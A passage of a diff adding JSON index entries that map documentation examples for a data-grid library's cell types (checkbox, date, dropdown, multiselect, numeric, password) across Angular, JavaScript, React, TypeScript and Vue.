"guides/cell-types/checkbox-cell-type/react/example4.tsx", + "file": "guides__cell-types__checkbox-cell-type__react__example4.tsx.json", + "breadcrumb": [ + "Cell Types", + "Checkbox cell type" + ], + "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", + "guideTitle": "Checkbox cell type", + "exampleId": "example4", + "exampleTitle": "Label value as a function", + "docPermalink": "/checkbox-cell-type", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/checkbox-cell-type/javascript/example4.ts", + "file": "guides__cell-types__checkbox-cell-type__javascript__example4.ts.json", + "breadcrumb": [ + "Cell Types", + "Checkbox cell type" + ], + "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", + "guideTitle": "Checkbox cell type", + "exampleId": "example4", + "exampleTitle": "Label value as a function", + "docPermalink": "/checkbox-cell-type", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/checkbox-cell-type/vue/example4.vue", + "file": "guides__cell-types__checkbox-cell-type__vue__example4.vue.json", + "breadcrumb": [ + "Cell Types", + "Checkbox cell type" + ], + "guide": "guides/cell-types/checkbox-cell-type/checkbox-cell-type.md", + "guideTitle": "Checkbox cell type", + "exampleId": "example4", + "exampleTitle": "Label value as a function", + "docPermalink": "/checkbox-cell-type", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/date-cell-type/angular/example1.ts", + "file": "guides__cell-types__date-cell-type__angular__example1.ts.json", + "breadcrumb": [ + "Cell Types", + "Date cell type" + ], + "guide": "guides/cell-types/date-cell-type/date-cell-type.md", + "guideTitle": "Date cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/date-cell-type", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/date-cell-type/javascript/example1.js", + "file": "guides__cell-types__date-cell-type__javascript__example1.js.json", + "breadcrumb": [ + "Cell Types", + "Date cell type" + ], + "guide": "guides/cell-types/date-cell-type/date-cell-type.md", + "guideTitle": "Date cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/date-cell-type", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/date-cell-type/react/example1.tsx", + "file": "guides__cell-types__date-cell-type__react__example1.tsx.json", + "breadcrumb": [ + "Cell Types", + "Date cell type" + ], + "guide": "guides/cell-types/date-cell-type/date-cell-type.md", + "guideTitle": "Date cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/date-cell-type", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/date-cell-type/javascript/example1.ts", + "file": "guides__cell-types__date-cell-type__javascript__example1.ts.json", + "breadcrumb": [ + "Cell Types", + "Date cell type" + ], + "guide": "guides/cell-types/date-cell-type/date-cell-type.md", + "guideTitle": "Date cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/date-cell-type", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/date-cell-type/vue/example1.vue", + "file": "guides__cell-types__date-cell-type__vue__example1.vue.json", + "breadcrumb": [ + "Cell Types", + "Date cell type" + ], + "guide": "guides/cell-types/date-cell-type/date-cell-type.md", + "guideTitle": "Date cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/date-cell-type", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/dropdown-cell-type/angular/example1.ts", + "file": "guides__cell-types__dropdown-cell-type__angular__example1.ts.json", + "breadcrumb": [ + "Cell Types", + "Dropdown cell type" + ], + "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", + "guideTitle": "Dropdown cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/dropdown-cell-type", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/dropdown-cell-type/javascript/example1.js", + "file": "guides__cell-types__dropdown-cell-type__javascript__example1.js.json", + "breadcrumb": [ + "Cell Types", + "Dropdown cell type" + ], + "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", + "guideTitle": "Dropdown cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/dropdown-cell-type", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/dropdown-cell-type/react/example1.tsx", + "file": "guides__cell-types__dropdown-cell-type__react__example1.tsx.json", + "breadcrumb": [ + "Cell Types", + "Dropdown cell type" + ], + "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", + "guideTitle": "Dropdown cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/dropdown-cell-type", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/dropdown-cell-type/javascript/example1.ts", + "file": "guides__cell-types__dropdown-cell-type__javascript__example1.ts.json", + "breadcrumb": [ + "Cell Types", + "Dropdown cell type" + ], + "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", + "guideTitle": "Dropdown cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/dropdown-cell-type", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/dropdown-cell-type/vue/example1.vue", + "file": "guides__cell-types__dropdown-cell-type__vue__example1.vue.json", + "breadcrumb": [ + "Cell Types", + "Dropdown cell type" + ], + "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", + "guideTitle": "Dropdown cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/dropdown-cell-type", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/dropdown-cell-type/angular/example2.ts", + "file": "guides__cell-types__dropdown-cell-type__angular__example2.ts.json", + "breadcrumb": [ + "Cell Types", + "Dropdown cell type" + ], + "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", + "guideTitle": "Dropdown cell type", + "exampleId": "example2", + "exampleTitle": "Array of values", + "docPermalink": "/dropdown-cell-type", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/dropdown-cell-type/javascript/example2.js", + "file": "guides__cell-types__dropdown-cell-type__javascript__example2.js.json", + "breadcrumb": [ + "Cell Types", + "Dropdown cell type" + ], + "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", + "guideTitle": "Dropdown cell type", + "exampleId": "example2", + "exampleTitle": "Array of values", + "docPermalink": "/dropdown-cell-type", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/dropdown-cell-type/react/example2.tsx", + "file": "guides__cell-types__dropdown-cell-type__react__example2.tsx.json", + "breadcrumb": [ + "Cell Types", + "Dropdown cell type" + ], + "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", + "guideTitle": "Dropdown cell type", + "exampleId": "example2", + "exampleTitle": "Array of values", + "docPermalink": "/dropdown-cell-type", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/dropdown-cell-type/javascript/example2.ts", + "file": "guides__cell-types__dropdown-cell-type__javascript__example2.ts.json", + "breadcrumb": [ + "Cell Types", + "Dropdown cell type" + ], + "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", + "guideTitle": "Dropdown cell type", + "exampleId": "example2", + "exampleTitle": "Array of values", + "docPermalink": "/dropdown-cell-type", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/dropdown-cell-type/vue/example2.vue", + "file": "guides__cell-types__dropdown-cell-type__vue__example2.vue.json", + "breadcrumb": [ + "Cell Types", + "Dropdown cell type" + ], + "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", + "guideTitle": "Dropdown cell type", + "exampleId": "example2", + "exampleTitle": "Array of values", + "docPermalink": "/dropdown-cell-type", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/dropdown-cell-type/angular/example3.ts", + "file": "guides__cell-types__dropdown-cell-type__angular__example3.ts.json", + "breadcrumb": [ + "Cell Types", + "Dropdown cell type" + ], + "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", + "guideTitle": "Dropdown cell type", + "exampleId": "example3", + "exampleTitle": "Array of objects", + "docPermalink": "/dropdown-cell-type", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/dropdown-cell-type/javascript/example3.js", + "file": "guides__cell-types__dropdown-cell-type__javascript__example3.js.json", + "breadcrumb": [ + "Cell Types", + "Dropdown cell type" + ], + "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", + "guideTitle": "Dropdown cell type", + "exampleId": "example3", + "exampleTitle": "Array of objects", + "docPermalink": "/dropdown-cell-type", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/dropdown-cell-type/react/example3.tsx", + "file": "guides__cell-types__dropdown-cell-type__react__example3.tsx.json", + "breadcrumb": [ + "Cell Types", + "Dropdown cell type" + ], + "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", + "guideTitle": "Dropdown cell type", + "exampleId": "example3", + "exampleTitle": "Array of objects", + "docPermalink": "/dropdown-cell-type", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/dropdown-cell-type/javascript/example3.ts", + "file": "guides__cell-types__dropdown-cell-type__javascript__example3.ts.json", + "breadcrumb": [ + "Cell Types", + "Dropdown cell type" + ], + "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", + "guideTitle": "Dropdown cell type", + "exampleId": "example3", + "exampleTitle": "Array of objects", + "docPermalink": "/dropdown-cell-type", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/dropdown-cell-type/vue/example3.vue", + "file": "guides__cell-types__dropdown-cell-type__vue__example3.vue.json", + "breadcrumb": [ + "Cell Types", + "Dropdown cell type" + ], + "guide": "guides/cell-types/dropdown-cell-type/dropdown-cell-type.md", + "guideTitle": "Dropdown cell type", + "exampleId": "example3", + "exampleTitle": "Array of objects", + "docPermalink": "/dropdown-cell-type", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/handsontable-cell-type/angular/example1.ts", + "file": "guides__cell-types__handsontable-cell-type__angular__example1.ts.json", + "breadcrumb": [ + "Cell Types", + "Handsontable cell type" + ], + "guide": "guides/cell-types/handsontable-cell-type/handsontable-cell-type.md", + "guideTitle": "Handsontable cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/handsontable-cell-type", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/handsontable-cell-type/javascript/example1.js", + "file": "guides__cell-types__handsontable-cell-type__javascript__example1.js.json", + "breadcrumb": [ + "Cell Types", + "Handsontable cell type" + ], + "guide": "guides/cell-types/handsontable-cell-type/handsontable-cell-type.md", + "guideTitle": "Handsontable cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/handsontable-cell-type", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/handsontable-cell-type/react/example1.tsx", + "file": "guides__cell-types__handsontable-cell-type__react__example1.tsx.json", + "breadcrumb": [ + "Cell Types", + "Handsontable cell type" + ], + "guide": "guides/cell-types/handsontable-cell-type/handsontable-cell-type.md", + "guideTitle": "Handsontable cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/handsontable-cell-type", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/handsontable-cell-type/javascript/example1.ts", + "file": "guides__cell-types__handsontable-cell-type__javascript__example1.ts.json", + "breadcrumb": [ + "Cell Types", + "Handsontable cell type" + ], + "guide": "guides/cell-types/handsontable-cell-type/handsontable-cell-type.md", + "guideTitle": "Handsontable cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/handsontable-cell-type", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/handsontable-cell-type/vue/example1.vue", + "file": "guides__cell-types__handsontable-cell-type__vue__example1.vue.json", + "breadcrumb": [ + "Cell Types", + "Handsontable cell type" + ], + "guide": "guides/cell-types/handsontable-cell-type/handsontable-cell-type.md", + "guideTitle": "Handsontable cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/handsontable-cell-type", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/multiselect-cell-type/angular/example1.ts", + "file": "guides__cell-types__multiselect-cell-type__angular__example1.ts.json", + "breadcrumb": [ + "Cell Types", + "MultiSelect cell type" + ], + "guide": "guides/cell-types/multiselect-cell-type/multiselect-cell-type.md", + "guideTitle": "MultiSelect cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/multiselect-cell-type", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/multiselect-cell-type/javascript/example1.js", + "file": "guides__cell-types__multiselect-cell-type__javascript__example1.js.json", + "breadcrumb": [ + "Cell Types", + "MultiSelect cell type" + ], + "guide": "guides/cell-types/multiselect-cell-type/multiselect-cell-type.md", + "guideTitle": "MultiSelect cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/multiselect-cell-type", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/multiselect-cell-type/react/example1.tsx", + "file": "guides__cell-types__multiselect-cell-type__react__example1.tsx.json", + "breadcrumb": [ + "Cell Types", + "MultiSelect cell type" + ], + "guide": "guides/cell-types/multiselect-cell-type/multiselect-cell-type.md", + "guideTitle": "MultiSelect cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/multiselect-cell-type", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/multiselect-cell-type/javascript/example1.ts", + "file": "guides__cell-types__multiselect-cell-type__javascript__example1.ts.json", + "breadcrumb": [ + "Cell Types", + "MultiSelect cell type" + ], + "guide": "guides/cell-types/multiselect-cell-type/multiselect-cell-type.md", + "guideTitle": "MultiSelect cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/multiselect-cell-type", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/multiselect-cell-type/vue/example1.vue", + "file": "guides__cell-types__multiselect-cell-type__vue__example1.vue.json", + "breadcrumb": [ + "Cell Types", + "MultiSelect cell type" + ], + "guide": "guides/cell-types/multiselect-cell-type/multiselect-cell-type.md", + "guideTitle": "MultiSelect cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/multiselect-cell-type", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/multiselect-cell-type/angular/example2.ts", + "file": "guides__cell-types__multiselect-cell-type__angular__example2.ts.json", + "breadcrumb": [ + "Cell Types", + "MultiSelect cell type" + ], + "guide": "guides/cell-types/multiselect-cell-type/multiselect-cell-type.md", + "guideTitle": "MultiSelect cell type", + "exampleId": "example2", + "exampleTitle": "Array of objects", + "docPermalink": "/multiselect-cell-type", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/multiselect-cell-type/javascript/example2.js", + "file": "guides__cell-types__multiselect-cell-type__javascript__example2.js.json", + "breadcrumb": [ + "Cell Types", + "MultiSelect cell type" + ], + "guide": "guides/cell-types/multiselect-cell-type/multiselect-cell-type.md", + "guideTitle": "MultiSelect cell type", + "exampleId": "example2", + "exampleTitle": "Array of objects", + "docPermalink": "/multiselect-cell-type", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/multiselect-cell-type/react/example2.tsx", + "file": "guides__cell-types__multiselect-cell-type__react__example2.tsx.json", + "breadcrumb": [ + "Cell Types", + "MultiSelect cell type" + ], + "guide": "guides/cell-types/multiselect-cell-type/multiselect-cell-type.md", + "guideTitle": "MultiSelect cell type", + "exampleId": "example2", + "exampleTitle": "Array of objects", + "docPermalink": "/multiselect-cell-type", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/multiselect-cell-type/javascript/example2.ts", + "file": "guides__cell-types__multiselect-cell-type__javascript__example2.ts.json", + "breadcrumb": [ + "Cell Types", + "MultiSelect cell type" + ], + "guide": "guides/cell-types/multiselect-cell-type/multiselect-cell-type.md", + "guideTitle": "MultiSelect cell type", + "exampleId": "example2", + "exampleTitle": "Array of objects", + "docPermalink": "/multiselect-cell-type", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/multiselect-cell-type/vue/example2.vue", + "file": "guides__cell-types__multiselect-cell-type__vue__example2.vue.json", + "breadcrumb": [ + "Cell Types", + "MultiSelect cell type" + ], + "guide": "guides/cell-types/multiselect-cell-type/multiselect-cell-type.md", + "guideTitle": "MultiSelect cell type", + "exampleId": "example2", + "exampleTitle": "Array of objects", + "docPermalink": "/multiselect-cell-type", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/multiselect-cell-type/angular/example3.ts", + "file": "guides__cell-types__multiselect-cell-type__angular__example3.ts.json", + "breadcrumb": [ + "Cell Types", + "MultiSelect cell type" + ], + "guide": "guides/cell-types/multiselect-cell-type/multiselect-cell-type.md", + "guideTitle": "MultiSelect cell type", + "exampleId": "example3", + "exampleTitle": "Other options", + "docPermalink": "/multiselect-cell-type", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/multiselect-cell-type/javascript/example3.js", + "file": "guides__cell-types__multiselect-cell-type__javascript__example3.js.json", + "breadcrumb": [ + "Cell Types", + "MultiSelect cell type" + ], + "guide": "guides/cell-types/multiselect-cell-type/multiselect-cell-type.md", + "guideTitle": "MultiSelect cell type", + "exampleId": "example3", + "exampleTitle": "Other options", + "docPermalink": "/multiselect-cell-type", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/multiselect-cell-type/react/example3.tsx", + "file": "guides__cell-types__multiselect-cell-type__react__example3.tsx.json", + "breadcrumb": [ + "Cell Types", + "MultiSelect cell type" + ], + "guide": "guides/cell-types/multiselect-cell-type/multiselect-cell-type.md", + "guideTitle": "MultiSelect cell type", + "exampleId": "example3", + "exampleTitle": "Other options", + "docPermalink": "/multiselect-cell-type", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/multiselect-cell-type/javascript/example3.ts", + "file": "guides__cell-types__multiselect-cell-type__javascript__example3.ts.json", + "breadcrumb": [ + "Cell Types", + "MultiSelect cell type" + ], + "guide": "guides/cell-types/multiselect-cell-type/multiselect-cell-type.md", + "guideTitle": "MultiSelect cell type", + "exampleId": "example3", + "exampleTitle": "Other options", + "docPermalink": "/multiselect-cell-type", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/multiselect-cell-type/vue/example3.vue", + "file": "guides__cell-types__multiselect-cell-type__vue__example3.vue.json", + "breadcrumb": [ + "Cell Types", + "MultiSelect cell type" + ], + "guide": "guides/cell-types/multiselect-cell-type/multiselect-cell-type.md", + "guideTitle": "MultiSelect cell type", + "exampleId": "example3", + "exampleTitle": "Other options", + "docPermalink": "/multiselect-cell-type", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/numeric-cell-type/angular/example1.ts", + "file": "guides__cell-types__numeric-cell-type__angular__example1.ts.json", + "breadcrumb": [ + "Cell Types", + "Numeric cell type" + ], + "guide": "guides/cell-types/numeric-cell-type/numeric-cell-type.md", + "guideTitle": "Numeric cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/numeric-cell-type", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/numeric-cell-type/javascript/example1.js", + "file": "guides__cell-types__numeric-cell-type__javascript__example1.js.json", + "breadcrumb": [ + "Cell Types", + "Numeric cell type" + ], + "guide": "guides/cell-types/numeric-cell-type/numeric-cell-type.md", + "guideTitle": "Numeric cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/numeric-cell-type", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/numeric-cell-type/react/example1.tsx", + "file": "guides__cell-types__numeric-cell-type__react__example1.tsx.json", + "breadcrumb": [ + "Cell Types", + "Numeric cell type" + ], + "guide": "guides/cell-types/numeric-cell-type/numeric-cell-type.md", + "guideTitle": "Numeric cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/numeric-cell-type", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/numeric-cell-type/javascript/example1.ts", + "file": "guides__cell-types__numeric-cell-type__javascript__example1.ts.json", + "breadcrumb": [ + "Cell Types", + "Numeric cell type" + ], + "guide": "guides/cell-types/numeric-cell-type/numeric-cell-type.md", + "guideTitle": "Numeric cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/numeric-cell-type", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/numeric-cell-type/vue/example1.vue", + "file": "guides__cell-types__numeric-cell-type__vue__example1.vue.json", + "breadcrumb": [ + "Cell Types", + "Numeric cell type" + ], + "guide": "guides/cell-types/numeric-cell-type/numeric-cell-type.md", + "guideTitle": "Numeric cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/numeric-cell-type", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/password-cell-type/angular/example1.ts", + "file": "guides__cell-types__password-cell-type__angular__example1.ts.json", + "breadcrumb": [ + "Cell Types", + "Password cell type" + ], + "guide": "guides/cell-types/password-cell-type/password-cell-type.md", + "guideTitle": "Password cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/password-cell-type", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/password-cell-type/javascript/example1.js", + "file": "guides__cell-types__password-cell-type__javascript__example1.js.json", + "breadcrumb": [ + "Cell Types", + "Password cell type" + ], + "guide": "guides/cell-types/password-cell-type/password-cell-type.md", + "guideTitle": "Password cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/password-cell-type", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/password-cell-type/react/example1.tsx", + "file": "guides__cell-types__password-cell-type__react__example1.tsx.json", + "breadcrumb": [ + "Cell Types", + "Password cell type" + ], + "guide": "guides/cell-types/password-cell-type/password-cell-type.md", + "guideTitle": "Password cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/password-cell-type", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/password-cell-type/javascript/example1.ts", + "file": "guides__cell-types__password-cell-type__javascript__example1.ts.json", + "breadcrumb": [ + "Cell Types", + "Password cell type" + ], + "guide": "guides/cell-types/password-cell-type/password-cell-type.md", + "guideTitle": "Password cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/password-cell-type", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/password-cell-type/vue/example1.vue", + "file": "guides__cell-types__password-cell-type__vue__example1.vue.json", + "breadcrumb": [ + "Cell Types", + "Password cell type" + ], + "guide": "guides/cell-types/password-cell-type/password-cell-type.md", + "guideTitle": "Password cell type", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/password-cell-type", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/password-cell-type/angular/example2.ts", + "file": "guides__cell-types__password-cell-type__angular__example2.ts.json", + "breadcrumb": [ + "Cell Types", + "Password cell type" + ], + "guide": "guides/cell-types/password-cell-type/password-cell-type.md", + "guideTitle": "Password cell type", + "exampleId": "example2", + "exampleTitle": "Fixed hash length", + "docPermalink": "/password-cell-type", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/password-cell-type/javascript/example2.js", + "file": "guides__cell-types__password-cell-type__javascript__example2.js.json", + "breadcrumb": [ + "Cell Types", + "Password cell type" + ], + "guide": "guides/cell-types/password-cell-type/password-cell-type.md", + "guideTitle": "Password cell type", + "exampleId": "example2", + "exampleTitle": "Fixed hash length", + "docPermalink": "/password-cell-type", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/password-cell-type/react/example2.tsx", + "file": "guides__cell-types__password-cell-type__react__example2.tsx.json", + "breadcrumb": [ + "Cell Types", + "Password cell type" + ], + "guide": "guides/cell-types/password-cell-type/password-cell-type.md", + "guideTitle": "Password cell type", + "exampleId": "example2", + "exampleTitle": "Fixed hash length", + "docPermalink": "/password-cell-type", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/password-cell-type/javascript/example2.ts", + "file": "guides__cell-types__password-cell-type__javascript__example2.ts.json", + "breadcrumb": [ + "Cell Types", + "Password cell type" + ], + "guide": "guides/cell-types/password-cell-type/password-cell-type.md", + "guideTitle": "Password cell type", + "exampleId": "example2", + "exampleTitle": "Fixed hash length", + "docPermalink": "/password-cell-type", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/password-cell-type/vue/example2.vue", + "file": "guides__cell-types__password-cell-type__vue__example2.vue.json", + "breadcrumb": [ + "Cell Types", + "Password cell type" + ], + "guide": "guides/cell-types/password-cell-type/password-cell-type.md", + "guideTitle": "Password cell type", + "exampleId": "example2", + "exampleTitle": "Fixed hash length", + "docPermalink": "/password-cell-type", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/password-cell-type/angular/example3.ts", + "file": "guides__cell-types__password-cell-type__angular__example3.ts.json", + "breadcrumb": [ + "Cell Types", + "Password cell type" + ], + "guide": "guides/cell-types/password-cell-type/password-cell-type.md", + "guideTitle": "Password cell type", + "exampleId": "example3", + "exampleTitle": "Custom hash symbol", + "docPermalink": "/password-cell-type", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/password-cell-type/javascript/example3.js", + "file": "guides__cell-types__password-cell-type__javascript__example3.js.json", + "breadcrumb": [ + "Cell Types", + "Password cell type" + ], + "guide": "guides/cell-types/password-cell-type/password-cell-type.md", + "guideTitle": "Password cell type", + "exampleId": "example3", + "exampleTitle": "Custom hash symbol", + "docPermalink": "/password-cell-type", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/password-cell-type/react/example3.tsx", + "file": "guides__cell-types__password-cell-type__react__example3.tsx.json", + "breadcrumb": [ + "Cell Types", + "Password cell type" + ], + "guide": "guides/cell-types/password-cell-type/password-cell-type.md", + "guideTitle": "Password cell type", + "exampleId": "example3", + "exampleTitle": "Custom hash symbol", + "docPermalink": "/password-cell-type", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/password-cell-type/javascript/example3.ts", + "file": "guides__cell-types__password-cell-type__javascript__example3.ts.json", + "breadcrumb": [ + "Cell Types", + "Password cell type" + ], + "guide": "guides/cell-types/password-cell-type/password-cell-type.md", + "guideTitle": "Password cell type", + "exampleId": "example3", + "exampleTitle": "Custom hash symbol", + "docPermalink": "/password-cell-type", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/password-cell-type/vue/example3.vue", + "file": "guides__cell-types__password-cell-type__vue__example3.vue.json", + "breadcrumb": [ + "Cell Types", + "Password cell type" + ], + "guide": "guides/cell-types/password-cell-type/password-cell-type.md", + "guideTitle": "Password cell type", + "exampleId": "example3", + "exampleTitle": "Custom hash symbol", + "docPermalink": "/password-cell-type", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/password-cell-type/angular/example4.ts", + "file": "guides__cell-types__password-cell-type__angular__example4.ts.json", + "breadcrumb": [ + "Cell Types", + "Password cell type" + ], + "guide": "guides/cell-types/password-cell-type/password-cell-type.md", + "guideTitle": "Password cell type", + "exampleId": "example4", + "exampleTitle": "Reveal delay", + "docPermalink": "/password-cell-type", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-types/password-cell-type/javascript/example4.js", 